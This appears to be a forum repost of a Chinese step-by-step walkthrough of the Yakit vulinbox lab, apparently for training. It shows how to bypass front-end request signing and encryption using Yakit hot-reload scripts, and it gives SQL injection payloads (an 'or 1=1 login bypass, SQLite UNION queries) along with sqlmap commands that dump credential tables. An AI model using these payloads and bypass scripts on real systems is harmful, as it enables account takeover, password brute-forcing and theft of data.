jdin043 发表于 2025-2-7 01:00:50

Yakit靶场-高级前端加解密与验签实战-全关卡通关教程

一、前端验签-SHA256

本文作者为CVE-柠檬i
CSDN:https://blog.csdn.net/weixin_49125123
博客园:https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全
绕过


通过查看源代码可以看到key为
1234123412341234
通过查看源代码可以看到是通过SHA256来进行签名的,他把请求体的username和password字段提取,然后进行加密。
username=admin&password=admin123
使用CyberChef加密,最终得到加密值为:fc4b936199576dd7671db23b71100b739026ca9dcb3ae78660c4ba3445d0654d

可以看到自己计算和前端计算的一致:

修改密码,重新构造签名:
username=admin&password=666666=>26976ad249c29595c3e9e368d9c3bc772b5a27291515caddd023d69421b7ffee
发送请求,可以看到验签成功,密码正确登陆成功,自此签名绕过成功。
POST /crypto/sign/hmac/sha256/verify HTTP/1.1Host: 127.0.0.1:8787Content-Type: application/json{"signature": "26976ad249c29595c3e9e368d9c3bc772b5a27291515caddd023d69421b7ffee","key": "31323334313233343132333431323334","username": "admin","password": "666666"}
热加载

这是我写的热加载代码,通过beforeRequest劫持请求包,使用encryptData函数进行加密,最终实现热加载自动签名功能。
encryptData = (packet) => {    body = poc.GetHTTPPacketBody(packet)    params = json.loads(body)    //获取账号和密码    name = params.username    pass= params.password    key = "31323334313233343132333431323334"    //十六进制密钥    //HmacSha256加密    signText = f`username=${name}&password=${pass}`    sign = codec.EncodeToHex(codec.HmacSha256(f`${codec.DecodeHex(key)~}`, signText))    //构造请求体    result = f`{"username":"${name}","password":"${pass}","signature":"${sign}","key":"${key}"}`    return string(poc.ReplaceBody(packet, result, false))}//发送到服务端修改数据包// beforeRequest = func(req){//   return encryptData(req)// }//调试用packet = <<<TEXTPOST /crypto/sign/hmac/sha256/verify HTTP/1.1Host: 127.0.0.1:8787Content-Type: application/jsonContent-Length: 179{"username":"admin","password":"admin123"}TEXTresult = (encryptData(packet))print(result)调试结果如下:

把beforeRequest取消注释,添加到Web Fuzzer模块的热加载中:

保存后发送请求,热加载成功实现自动签名功能。


二、前端验签-SHA256+RSA

本文作者ärCVE-柠檬i
CSDN:https://blog.csdn.net/weixin_49125123
博客园:https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全
绕过


根据提示可以看出这次签名用了SHA2556和RSA两个技术进行加密。
查看源代码可以看到RSA公钥是通过请求服务器获取:

请求一下:http://127.0.0.1:8787/crypto/js/rsa/public/key ,可以看到公钥。

SHA256密钥位置:

Encrypt方法:
function Encrypt(word) {    console.info(word);    returnKEYUTIL.getKey(pubkey).encrypt(CryptoJS.HmacSHA256(word, key.toString(CryptoJS.enc.Utf8)).toString()); }KEYUTIL.getKey(pubkey).encrypt是RSA1v15加密方法,在代码中可以看到先进行SHA265加密,然后再RSA加密。被加密的文本的格式同上一关所示。
使用CyberChef加密:

替换请求,可以看到签名构造成功:

热加载

这是我写的Yakit热加载代码,通过beforeRequest劫持请求包,使用encryptData函数进行加密,getPubkey获取公钥,最终实现热加载自动签名功能。
getPubkey = func() {    //通过请求动态获取公钥    rsp, req = poc.HTTP(`GET /crypto/js/rsa/public/key HTTP/1.1Host: 127.0.0.1:8787    `)~    body = poc.GetHTTPPacketBody(rsp) // 响应体    return body}encryptData = (packet) => {    body = poc.GetHTTPPacketBody(packet)    params = json.loads(body)    name = params.username    pass = params.password    key = "31323334313233343132333431323334"    pemBytes = getPubkey() // 获取公钥    signText = f`username=${name}&password=${pass}`    sha256sign = codec.EncodeToHex(codec.HmacSha256(f`${codec.DecodeHex(key)~}`, signText)) // SHA256加密    rsaSign = codec.EncodeToHex(codec.RSAEncryptWithPKCS1v15(pemBytes /*type: []byte*/, sha256sign)~) // RSA加密    body = f`{"username":"${name}","password":"${pass}","signature":"${rsaSign}","key":"${key}"}`    return string(poc.ReplaceBody(packet, body, false))}//发送到服务端修改数据包// beforeRequest = func(req){//   return encryptData(req)// }//调试用packet = <<<TEXTPOST /crypto/sign/hmac/sha256/verify HTTP/1.1Host: 127.0.0.1:8787Content-Type: application/jsonContent-Length: 179{"username":"admin","password":"password"}TEXTresult = (encryptData(packet))print(result)这次不调试了,直接请求看看效果,成功热加载自动签名:

插入临时字典爆破,可以看到正确密码为admin123。

三、CryptoJS.AES(CBC) 前端加密登陆表单

本文作者isCVE-柠檬i
CSDN:https://blog.csdn.net/weixin_49125123
博客园:https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全
分析


查看源代码,可以看到加密方式为AES,查询网上资料得知,此encrypt方法默认为CBC模式。

key为:1234123412341234

iv为随机生成的:

将用户名和密码以json的格式进行AES加密


使用CyberChef加密

替换请求data内容,验证成功。
POST /crypto/js/lib/aes/cbc/handler HTTP/1.1Host: 127.0.0.1:8787Content-Type: application/jsonContent-Length: 169{"data": "2/eylw258wQNJQznPd5zr7xpNWzPR3vcgCmY3zwuTdW0WjSwbNzAhTraiebLdPRK","key": "31323334313233343132333431323334","iv": "67ba30beaabf8ccfebeca655d487805a"}
热加载

这是本人写的Yakit热加载代码,通过beforeRequest劫持请求包,使用encryptData函数进行加密,最终实现热加载自动加密功能。
encryptData = (packet) => {    body = poc.GetHTTPPacketBody(packet)    hexKey = "31323334313233343132333431323334"    hexIV = "67ba30beaabf8ccfebeca655d487805a"    key = codec.DecodeHex(hexKey)~    iv = codec.DecodeHex(hexIV)~    data = codec.AESCBCEncrypt(key /*type: []byte*/, body, iv /*type: []byte*/)~    data = codec.EncodeBase64(data)    body = f`{"data": "${data}","key": "${hexKey}","iv": "${hexIV}"}`    return string(poc.ReplaceBody(packet, body, false))}//发送到服务端修改数据包beforeRequest = func(req){    return encryptData(req)}
效果:

四、CryptoJS.AES(ECB) 前端加密登陆表单

本文作者はCVE-柠檬i
CSDN:https://blog.csdn.net/weixin_49125123
博客园:https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全
分析

模式变为AES的ECB模式,其他的与CBC模式基本一样。

zqBATwKGlf9ObCg8Deimijp+OH1VePy6KkhV1Z4xjiDwOuboF7GPuQBCJKx6o9c7
热加载

功能跟上面大致一样。ECB模式不需要iv,修改成ECB加密,然后删除掉iv相关代码即可。
encryptData = (packet) => {    body = poc.GetHTTPPacketBody(packet)    hexKey = "31323334313233343132333431323334"    key = codec.DecodeHex(hexKey)~    //ECB模式加密    data = codec.AESECBEncrypt(key /*type: []byte*/, body, nil /*type: []byte*/)~    data = codec.EncodeBase64(data)    body = f`{"data": "${data}","key": "${hexKey}"}`    return string(poc.ReplaceBody(packet, body, false))}//发送到服务端修改数据包// beforeRequest = func(req){//   return encryptData(req)// }//调试用packet = <<<TEXTPOST /crypto/js/lib/aes/cbc/handler HTTP/1.1Host: 127.0.0.1:8787Content-Type: application/jsonContent-Length: 179{"username":"admin","password":"admin123"}TEXTresult = (encryptData(packet))print(result)成功加密

五、CryptoJS.AES(ECB) 被前端加密的 SQL 注入

本文作者éCVE-柠檬i
CSDN:https://blog.csdn.net/weixin_49125123
博客园:https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全

绕过

SQL注入

前端代码和上一关一样,都是通过AES加密请求的数据。
在yaklang\common\vulinbox\db.go中可以看到相关后端代码:

数据库是SQLite类型,username参数是直接拼接查询的,所以存在SQL注入漏洞。
登录绕过

yaklang\common\vulinbox\vul_cryptojs_base.go:
密码在第87行被赋值,密码是通过上面的GetUserByUsernameUnsafe获取的

输入{"username":"admin","password":"666666"}的SQL语句
select * from vulin_users where username = 'admin';输入{"username":"admin'or 1=1--","password":"666666"}的SQL语句
select * from vulin_users where username = 'admin'or 1=1--';相当于:
select * from vulin_users where true;所以返回结果为表中的所有数据。

所以用户名随便输,密码输入表中存在的随意一个密码就能登陆成功:


sqlmap

使用Yakit的MITM 交互式劫持,热加载写上AES加密的代码
encryptData = (packet) => {    body = poc.GetHTTPPacketBody(packet)    hexKey = "31323334313233343132333431323334"    key = codec.DecodeHex(hexKey)~    data = codec.AESECBEncrypt(key /*type: []byte*/, body, nil /*type: []byte*/)~    data = codec.EncodeBase64(data)    body = f`{"data": "${data}","key": "${hexKey}"}`    return string(poc.ReplaceBody(packet, body, false))}beforeRequest = func(req){    return encryptData(req)}
1.txt
POST /crypto/js/lib/aes/ecb/handler/sqli HTTP/1.1Host: 127.0.0.1:8787Content-Type: application/json{"username":"admin","password":"admin"}运行sqlmap
python .\sqlmap.py -r .\1.txt --proxy=http://127.0.0.1:8081 --batch -T vulin_users-C username,password,role --dump注入成功

六、CryptoJS.AES(ECB) 被前端加密的 SQL 注入(Bypass认证)

本文作者esCVE-柠檬i
CSDN:https://blog.csdn.net/weixin_49125123
博客园:https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全
绕过

这个前端代码与前面的还是一样的,都是AES ECB加密。
后端代码如下,可以看到查询语句在109行,用户名和密码都是直接拼接查询的。

SQL注入跟上面的操作一样,这里就不演示了,这里直接用热加载绕过登录。
POST /crypto/js/lib/aes/ecb/handler/sqli/bypass HTTP/1.1Host: 127.0.0.1:8787Content-Type: application/json{"username":"admin'or 1=1--","password":""}
七、AES-ECB 加密表单(附密码)

同 CryptoJS.AES(ECB) 前端加密登陆表单。
八、RSA:加密表单,附密钥

本文作者istCVE-柠檬i
CSDN:https://blog.csdn.net/weixin_49125123
博客园:https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全
分析

generateKey函数用来生成随机的RSA公私钥

加密的格式如下:

{"username":"admin","password":"123456","age":"20"}对数据进行RSA加密,请求包格式:

热加载

这是本人写的Yakit热加载代码,通过beforeRequest hook请求包,调用encrypt函数进行加密,最终实现热加载自动加密功能。由于密钥是从前端获取,所以直在在热加载里生成了。
encrypt = (packet) => {    //生成RSA密钥    publicKey, privateKey = tls.GenerateRSA2048KeyPair()~    //base64编码    publicKeyBase64 = codec.EncodeBase64(publicKey)    privateKeyBase64 = codec.EncodeBase64(privateKey)    body = poc.GetHTTPPacketBody(packet)    data = codec.RSAEncryptWithOAEP(publicKey /*type: []byte*/, body)~ // RSA加密    data = codec.EncodeBase64(data)      //处理换行符    publicKey = str.ReplaceAll(publicKey, "\n", r"\n")    privateKey = str.ReplaceAll(privateKey, "\n", r"\n")       //构造请求体    body = f`{"data":"${data}","publicKey":"${publicKey}","publicKeyBase64":"${publicKeyBase64}","privateKey":"${privateKey}","privateKeyBase64":"${privateKeyBase64}"}`      return string(poc.ReplaceBody(packet, body, false))}//发送到服务端修改数据包beforeRequest = func(req){    return encrypt(req)}效果:

使用字典爆破,爆破成功,可以看到密码为admin123。

九、RSA:加密表单服务器传输密钥

本文作者हैCVE-柠檬i
CSDN:https://blog.csdn.net/weixin_49125123
博客园:https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全
分析

这里的代码跟上一关的类似,但是加密的公钥是通过请求服务端获取的

http://127.0.0.1:8787/crypto/js/rsa/generator

由于密钥是服务端生产的,服务端有公私钥信息,所以自然不需要传递公私钥了。
请求格式如下,只有被加密的内容:

序列+热加载

序列

打开Yakit的Web Fuzzer,点击左侧的序列

选择从服务端获取密钥的那个数据包

使用数据提取器提取公钥

提取结果正常:

再添加序列:

先把请求体置空,编写热加载代码

热加载

本来之前写的是请求体格式跟上一关一样,然后在热加载里请求来获取密钥,缺点也显而易见,每次登录请求都会多出了一个请求公钥的数据包,所以最后选择用Yakit的序列配合热加载标签传参来加密。
由于Yakit热加载标签只能传一个参数,这里感谢Yakit群群友Gun的帮助,给了我一个手动分割参数的函数。
把序列第一个请求提取到的publicKey变量和需要加密的数据传过去,由splitParams分割,然后传参给encrypt进行RSA加密。
序列格式:
{{yak(splitParams|{{p(publicKey)}}|{"username":"admin","password":"admin123","age":"20"})}}热加载代码:
encrypt = (pemPublic, data) => {    data = codec.RSAEncryptWithOAEP(pemPublic /*type: []byte*/, data)~    data = codec.EncodeBase64(data)    body = f`{"data":"${data}"}`    return body}//分割传过来的参数,每个参数中间以|分隔splitParams = (params) => {    pairs := params.SplitN("|", 2)    return encrypt(pairs, pairs)}执行序列,爆破成功,使用序列的好处就是只获取一次公钥即可。

之前的代码:

弃用代码,就不做解释了。
getPubkey = func(host) {    //通过请求动态获取公钥    rsp, req = poc.HTTP(f`GET /crypto/js/rsa/generator HTTP/1.1Host: ${host}    `)~    body = poc.GetHTTPPacketBody(rsp) // 响应体    params = json.loads(body)    publicKey = str.ReplaceAll(params.publicKey, r"\n", "\n")    println(publicKey)    return publicKey}encryptData = (packet) => {    body = poc.GetHTTPPacketBody(packet)    host = poc.GetHTTPPacketHeader(packet, "Host")    pemBytes = getPubkey(host) // 获取公钥    println(pemBytes)    data = codec.RSAEncryptWithOAEP(pemBytes /*type: []byte*/, body)~    data = codec.EncodeBase64(data)    body = f`{"data":"${data}"}`    return string(poc.ReplaceBody(packet, body, false))}//发送到服务端修改数据包// beforeRequest = func(req){//   return encryptData(req)// }//调试用packet = <<<TEXTPOST /crypto/js/rsa/fromserver HTTP/1.1Host: 127.0.0.1:8787Content-Type: application/jsonContent-Length: 179{"username":"admin","password":"123456","age":"20"}TEXTresult = (encryptData(packet))print(result)十、RSA:加密表单服务器传输密钥+响应加密

本文作者естьCVE-柠檬i
CSDN:https://blog.csdn.net/weixin_49125123
博客园:https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全
分析

这里的公私钥同上一关一样是通过服务端获取

通过查看响应包可以看到,data字段被加密了,当然这里我已经知道了data字段和origin字段的内容是一样的,下面来看看该如何编写热加载代码吧。

序列+热加载

方法1(固定私钥)

这里跟上一关一样选择Web Fuzzer的序列功能。
数据提取器提取公私钥

由于afterRequest函数无法获取到参数,所以在代码里写死了私钥内容来解密响应包。
热加载代码:
var PRIVATE_KEY = `这里填私钥内容(可换行)`decryptData = (packet) => {    body = poc.GetHTTPPacketBody(packet) // 获取响应包体    jsonBody = json.loads(body) // 转为map格式    //解密数据    data = codec.DecodeBase64(json.loads(body).data)~    data = codec.RSADecryptWithOAEP(PRIVATE_KEY/*type: bytes*/, data/*type: any*/)~    data = string(data)    // 使用JsonPath定位,替换json中的data    body = json.ReplaceAll(jsonBody, "$..data", data)    // 转为json格式    body = json.dumps(body, json.withIndent("   "))    // 替换正则匹配结果(可省略)    pattern := `\\`    body = re.ReplaceAll(body, pattern, "")    return poc.ReplaceBody(packet, body/*type: bytes*/, false/*type: bool*/)}encryptData = (pemPublic, data) => {    data = codec.RSAEncryptWithOAEP(pemPublic /*type: []byte*/, data)~    data = codec.EncodeBase64(data)    body = f`{"data":"${data}"}`    return body}//分割参数的函数splitParams = (params) => {    pairs := params.SplitN("|", 2)    return encryptData(pairs, pairs)}// 修改响应包afterRequest = func(rsp){    return decryptData(rsp)}请求格式:
POST /crypto/js/rsa/fromserver/response HTTP/1.1Host: 127.0.0.1:8787Content-Type: application/json{{yak(splitParams|{{p(publicKey)}}|{"username":"admin","password":"admin23","age":"20"})}}下图为效果图,响应包的data字段的值被解密后的数据替换。

方法2(使用mirrorHTTPFlow)

在这一关(响应加密)和下一关(RSA加密AES密钥)解密过程中,我一直都在寻找如何才能把数据提取器提取到的privateKey传参到beforeRequest和afterRequest这类函数中,以达到修改数据包的目的。
从前端验签与加解密学习Yakit中WebFuzzer热加载。在这篇文章中学到了可以使用序列,将前两个序列提取到的key和数据,在第三个序列当做请求内容,解密后发送过去,这样也算是一种变相的完成了解密,但是这个方法感觉不太优雅,需要多一个额外的请求包。
这是当时测试的图片:


然后在 Yak Project官方公众号的文章中终于看到了一个函数,mirrorHTTPFlow可以解决这个问题,虽然不能直接替换响应包,但会出现在提取数据中。由于官方文档没有具体讲解这个函数,所以它的具体功能现在还不太清楚。

热加载代码:
//加密函数encrypt = (pemPublic, data) => {    data = codec.RSAEncryptWithOAEP(pemPublic /*type: []byte*/, data)~    data = codec.EncodeBase64(data)    body = f`{"data":"${data}"}`    return body}//分割参数的函数splitParams = (params) => {    pairs := params.SplitN("|", 2)    return encrypt(pairs, pairs)}mirrorHTTPFlow = (req, rsp, params) => {    // 获取私钥以解密响应数据    pem = params.privateKey      // 切割响应中的数据,作为 JSON 加载    _, body = poc.Split(rsp)    body = json.loads(body)      // 解密data    data = codec.DecodeBase64(body.data)~    data = codec.RSADecryptWithOAEP(pem, data)~      return string(data)}请求包格式:
POST /crypto/js/rsa/fromserver/response HTTP/1.1Host: 127.0.0.1:8787Content-Type: application/json{{yak(splitParams|{{p(publicKey)}}|{"username":"admin","password":"123","age":"20"})}}效果如下图,可以看到解密后的data出现在了提取内容中。

爆破成功,但是看不到请求的原始密码,由于太累了懒得解决这个问题,啥时候闲了再说吧。

十一、前端RSA加密AES密钥,服务器传输

本文作者هوCVE-柠檬i
CSDN:https://blog.csdn.net/weixin_49125123
博客园:https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全
由于RSA加解密有长度限制,以及解密速度等问题,所以如https等协议都是用非对称加密对称加密的密钥,然后用对称加密算法来加密数据。本关卡就是用RSA来加密AES的key和iv,用AES来加密表单数据。

分析

直接Submit,观察数据包发现请求包和响应包AES加密的key和iv都被加密了。

查看源码,RSA的key是通过请求/crypto/js/rsa/generator路径获取的

AES的加密方法为AES-GCM

流程图如下:
graph TD;    A[开始] --> B(加载页面);    B --> C{获取RSA密钥对};    C -- 是 --> D(从服务器获取公钥和私钥);    D --> E(将PEM格式的公钥和私钥转换为CryptoKey对象);    E --> F(生成随机AES密钥与IV);    F --> G(使用RSA-OAEP加密AES密钥与IV);    G --> H(使用Encrypt函数用AES-GCM方式加密提交的数据);    H --> I(发送加密数据到服务器);    I --> J(接收服务器响应);    J --> K(使用Decrypt函数用RSA与AES-GCM解密接收的数据);    K --> L(显示解密后的数据);
序列+热加载

本文和上一关遇到一样的问题,本来打算用第三个请求来解密响应包的,最后选择了使用mirrorHTTPFlow函数来解密。
上一关中只能看到登陆成功,但不知道账号密码是什么。这次写了个解密函数解密请求包,不管怎么说,能跑就行。
热加载代码如下:
// RSA-OAEP 加密rsaEncrypt = (pem, data) => {    data = codec.RSAEncryptWithOAEP(pem, data)~    data = codec.EncodeBase64(data)    return data}// AES-GCM 加密aesEncrypt = (key, iv, data) => {    encryptedData = codec.AESGCMEncryptWithNonceSize12(key, data, iv)~    encryptedData = codec.EncodeBase64(encryptedData)    return encryptedData}// 分割参数的函数splitParams = (params) => {    pairs := params.SplitN("|", 2)    return pairs}// 主函数encrypt = (params) => {    pairs := splitParams(params)    key =randstr(16)    iv = randstr(12)    data = aesEncrypt(key, iv, pairs)    encryptIV = rsaEncrypt(pairs, iv)    encryptKey = rsaEncrypt(pairs, key)    body = f`{"data":"${data}","iv":"${iv}","encryptedIV":"${encryptIV}","encryptedKey":"${encryptKey}"}`    return body}// 解密函数mirrorHTTPFlow = (req, rsp, params) => {    // 获取私钥    pem = params.privateKey      // 切割响应中的数据,作为 JSON 加载    body = json.loads(poc.GetHTTPPacketBody(rsp))      // 提取 IV、KEY 和 DATA    data = body.data    iv = body.encryptedIV    key = body.encryptedKey      // 使用 RSA-OAEP 解密 IV 和 KEY    iv = codec.RSADecryptWithOAEP(pem, codec.DecodeBase64(iv)~)~    key = codec.RSADecryptWithOAEP(pem, codec.DecodeBase64(key)~)~      // 使用 AES-GCM 解密    data = codec.AESGCMDecryptWithNonceSize12(key, codec.DecodeBase64(data)~, iv)~    return string(data)}使用Yakit的序列功能,效果如下,在提取数据中显示了未加密的请求和响应的内容:

爆破效果:

十二、SQL 注入(从登陆到 Dump 数据库)

本文作者คือCVE-柠檬i
CSDN:https://blog.csdn.net/weixin_49125123
博客园:https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全
登录


输入账号密码,抓包查看数据包,看上去就是一个普通的aes加密:

这里热加载代码不算太难,常规的加解密函数就可以了:
encryptAES = (packet) => {    body = poc.GetHTTPPacketBody(packet)    // 生成随机key和iv    key =randstr(16)    iv = randstr(12)    // 加密数据    data = codec.AESCBCEncrypt(key /*type: []byte*/, body, iv /*type: []byte*/)~    data = codec.EncodeBase64(data)    // 获取key和iv的hex值    hexKey = codec.EncodeToHex(key)    hexIV = codec.EncodeToHex(iv)    // 构造新的body    body = f`{"key": "${hexKey}","iv": "${hexIV}","message": "${data}"}`    return poc.ReplaceBody(packet, body, false)}decryptAES = (packet) => {    body = poc.GetHTTPPacketBody(packet)    body = json.loads(body)    key = codec.DecodeHex(body.key)~    iv = codec.DecodeHex(body.iv)~    data = codec.DecodeBase64(body.message)~    data = codec.AESCBCDecrypt(key, data, iv)~    return poc.ReplaceBody(packet, data, false)}beforeRequest = func(req){    return encryptAES(req)}afterRequest = func(rsp){    return decryptAES(rsp)}请求体格式
{"username":"admin","password":"password"}热加载加解密成功

本关提示是SQL注入,所以直接啪一个1=1,说时迟那时快,直接登陆成功
POST /crypto/sqli/aes-ecb/encrypt/login HTTP/1.1Host: 127.0.0.1:8787Content-Type: application/json{"username":"admin","password":"password'or 1=1--"}
注入

手工

登陆后看到请求了/crypto/sqli/aes-ecb/encrypt/query/users路径

解密一下请求包:

获取到请求的格式:
{"search":""}
这里是SQLite注入,注入的语句是通过这篇文章获取的:sqlite注入的一点总结 - 先知社区 (aliyun.com)
{"search":"user1'order by 3--"}{"search":"user1'union select 1,2,3--"}{"search":"user1'union select 11,22,sql from sqlite_master--"}{"search":"user1'union select 11,22,sql from sqlite_master where type='table' and name='vulin_users'--"}{"search":"user1'union select username,password,id from vulin_users--"}注入成功:
POST /crypto/sqli/aes-ecb/encrypt/query/users HTTP/1.1Host: 127.0.0.1:8787Cookie: token=PLNqoZMZfiELLLFuTbmOtSrDdnpFmDDMContent-Type: application/jsonContent-Length: 119{"search":"user1'union select username,password,id from vulin_users--"}
sqlmap

在MITM处加载热加载代码

使用sqlmap注入
python .\sqlmap.py -r .\http.txt --proxy=http://127.0.0.1:8081 --batch -dbms=sqlite -T vulin_users -C username,password,role --dumphttp.txt
POST /crypto/sqli/aes-ecb/encrypt/query/users HTTP/1.1Host: 127.0.0.1:8787Cookie: token=PLNqoZMZfiELLLFuTbmOtSrDdnpFmDDMContent-Type: application/jsonContent-Length: 119{"search":"*"}效果:
页: [1]
查看完整版本: Yakit靶场-高级前端加解密与验签实战-全关卡通关教程